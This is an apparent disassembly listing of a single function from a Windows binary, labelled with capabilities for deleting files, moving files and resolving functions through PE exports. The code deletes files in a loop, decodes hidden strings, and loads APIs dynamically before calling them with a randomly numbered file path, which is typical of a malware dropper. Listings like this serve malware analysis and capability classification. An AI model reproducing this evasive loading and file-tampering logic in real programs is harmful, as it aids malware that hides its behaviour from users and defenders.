Function at 0x4010b0
Capabilities:
Delete file
Move file
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xa3c
push ebx
push ebp
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ebx, dword [sym.imp.USER32.dll_FindWindowA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebp, 0x2382
lea esp, [esp]
push 0x402108
call esi
push 0
push 0x402178
call ebx
test eax, eax
je 0x401104
push 0x4021b0
push 0x402220
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x402290
call esi
push str.hhhhhhhhhhhhhhhhhhhhhhhhh46hhhhhhhhhhhhhhhhhhhhhhhhh46
call edi
sub ebp, 1
jne 0x4010e0
movzx edx, word [0x402360]
mov eax, dword [0x402358]
mov dword [esp + 0x58], eax
mov al, byte [0x402362]
mov word [esp + 0x60], dx
mov edx, dword [0x402368]
mov ecx, 8
mov esi, 0x402338
lea edi, [esp + 0xc4]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x40235c]
mov dword [esp + 0x5c], ecx
mov ecx, dword [0x402364]
mov dword [esp + 0x78], ecx
mov cx, word [0x402370]
mov word [esp + 0x84], cx
mov ecx, dword [0x40237c]
mov byte [esp + 0x62], al
mov eax, dword [0x40236c]
mov dword [esp + 0x7c], edx
mov edx, dword [0x402374]
mov dword [esp + 0xc0], ecx
mov ecx, dword [0x402388]
mov dword [esp + 0x80], eax
mov eax, dword [0x402378]
mov dword [esp + 0xb8], edx
mov edx, dword [0x402380]
mov dword [esp + 0xb4], ecx
mov ecx, dword [0x402394]
mov dword [esp + 0xbc], eax
mov eax, dword [0x402384]
mov dword [esp + 0xac], edx
mov edx, dword [0x40238c]
mov dword [esp + 0x6c], ecx
movzx ecx, byte [0x40239e]
mov dword [esp + 0xb0], eax
mov eax, dword [0x402390]
mov dword [esp + 0x64], edx
mov edx, dword [0x402398]
mov dword [esp + 0x68], eax
movzx eax, word [0x40239c]
mov dword [esp + 0x70], edx
mov edx, dword [0x4023bc]
mov byte [esp + 0x76], cl
mov dword [esp + 0x88], edx
movzx edx, word [0x4023c8]
mov word [esp + 0x74], ax
mov eax, dword [0x4023c0]
mov ecx, 6
mov esi, 0x4023a0
lea edi, [esp + 0x148]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x4023c4]
mov dword [esp + 0x8c], eax
mov eax, dword [0x4023cc]
mov dword [esp + 0x90], ecx
mov ecx, dword [0x4023d0]
mov word [esp + 0x94], dx
mov edx, dword [0x4023d4]
mov dword [esp + 0x98], eax
mov eax, dword [0x4023d8]
mov dword [esp + 0x9c], ecx
movzx ecx, byte [0x4023dc]
mov dword [esp + 0xa0], edx
mov edx, dword [0x4023e0]
mov dword [esp + 0xa4], eax
mov eax, dword [0x4023e4]
mov dword [esp + 0x44], edx
mov edx, dword [0x4023ec]
mov byte [esp + 0xa8], cl
mov ecx, dword [0x4023e8]
mov dword [esp + 0x48], eax
movzx eax, word [0x4023f0]
mov dword [esp + 0x10], edx
movzx edx, word [0x4023f8]
mov dword [esp + 0x4c], ecx
mov ecx, dword [0x4023f4]
movsw word es:[edi], word [esi]
mov word [esp + 0x14], ax
mov dword [esp + 0x18], ecx
mov word [esp + 0x1c], dx
mov ecx, dword [0x402400]
mov eax, dword [0x4023fc]
mov edx, dword [0x402404]
mov dword [esp + 0x34], ecx
movzx ecx, byte [0x40240a]
mov dword [esp + 0x30], eax
movzx eax, word [0x402408]
mov byte [esp + 0x3e], cl
mov dword [esp + 0x38], edx
mov edx, dword [0x40240c]
mov word [esp + 0x3c], ax
mov eax, dword [0x402410]
lea ecx, [esp + 0x58]
push ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
call section..text
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 4
push eax
call esi
mov edi, eax
mov dword [esp + 0x54], edi
test edi, edi
je 0x40167b
lea edx, [esp + 0x78]
push edx
call section..text
add esp, 4
push eax
call esi
mov ebx, eax
mov dword [esp + 0x40], ebx
test ebx, ebx
je 0x40167b
lea eax, [esp + 0xb8]
push eax
call section..text
add esp, 4
push eax
call esi
mov dword [esp + 0x20], eax
test eax, eax
je 0x40167b
lea ecx, [esp + 0xac]
push ecx
call section..text
add esp, 4
push eax
call esi
mov dword [esp + 0x24], eax
test eax, eax
je 0x40167b
lea edx, [esp + 0x64]
push edx
call section..text
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
push eax
push edi
call esi
mov ebp, eax
test ebp, ebp
je 0x40167b
lea eax, [esp + 0x148]
push eax
call section..text
add esp, 4
push eax
push ebx
call esi
mov edi, eax
test edi, edi
je 0x40167b
lea ecx, [esp + 0x88]
push ecx
call section..text
mov edx, dword [esp + 0x24]
add esp, 4
push eax
push edx
call esi
mov dword [esp + 0x50], eax
test eax, eax
je 0x40167b
lea eax, [esp + 0x98]
push eax
call section..text
mov ecx, dword [esp + 0x28]
add esp, 4
push eax
push ecx
call esi
mov esi, eax
test esi, esi
je 0x40167b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
lea edx, [esp + 0x34]
push edx
call section..text
lea eax, [esp + 0x38]
add esp, 8
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401450
sub eax, edx
inc eax
push eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0xec]
push ecx
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
push 0x104
lea edx, [esp + 0x438]
push edx
lea eax, [esp + 0xec]
push eax
call edi
lea ecx, [esp + 0x44]
push ecx
call section..text
lea eax, [esp + 0x48]
add esp, 4
lea edx, [eax + 1]
jmp 0x4014a0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4014a0
sub eax, edx
inc eax
push eax
lea edx, [esp + 0x48]
push edx
lea eax, [esp + 0x100]
push eax
call sub.MSVCR90.dll_mbstowcs
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea ecx, [esp + 0x104]
push ecx
lea edx, [esp + 0x444]
push edx
lea eax, [esp + 0x650]
push str._s_s
push eax
call ebx
add esp, 0x1c
lea ecx, [esp + 0x63c]
push ecx
call esi
test eax, eax
jne 0x401659
lea edx, [esp + 0x28]
push edx
call section..text
lea eax, [esp + 0x2c]
add esp, 4
lea edx, [eax + 1]
jmp 0x401510
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401510
sub eax, edx
inc eax
push eax
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x128]
push ecx
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
push 0x104
lea edx, [esp + 0x848]
push edx
lea eax, [esp + 0x128]
push eax
call edi
lea ecx, [esp + 0x10]
push ecx
call section..text
lea eax, [esp + 0x14]
add esp, 4
lea edx, [eax + 1]
jmp 0x401560
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401560
sub eax, edx
inc eax
push eax
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x13c]
push eax
call sub.MSVCR90.dll_mbstowcs
lea ecx, [esp + 0x140]
add esp, 0xc
push ecx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
lea eax, [esp + 0x230]
add edx, 0x3e8
push edx
lea edx, [esp + 0x84c]
push edx
push str._s_d_s
push eax
call ebx
lea ecx, [esp + 0xd8]
push ecx
call section..text
lea eax, [esp + 0xdc]
add esp, 0x18
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015d0
sub eax, edx
inc eax
push eax
lea edx, [esp + 0xc8]
push edx
lea eax, [esp + 0x16c]
push eax
call sub.MSVCR90.dll_mbstowcs
lea ecx, [esp + 0x24]
push ecx
call section..text
lea eax, [esp + 0x28]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401604
sub eax, edx
inc eax
push eax
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x114]
push eax
call sub.MSVCR90.dll_mbstowcs
add esp, 0xc
push 0
push 0
lea ecx, [esp + 0x234]
push ecx
lea edx, [esp + 0x170]
push edx
push 0
call ebp
test eax, eax
jne 0x401659
push eax
push eax
push eax
lea eax, [esp + 0x238]
push eax
lea ecx, [esp + 0x11c]
push ecx
push 0
call dword [esp + 0x68]
mov edx, dword [esp + 0x54]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edx
call esi
mov eax, dword [esp + 0x40]
push eax
call esi
mov ecx, dword [esp + 0x20]
push ecx
call esi
mov edx, dword [esp + 0x24]
push edx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xa3c
ret 0x10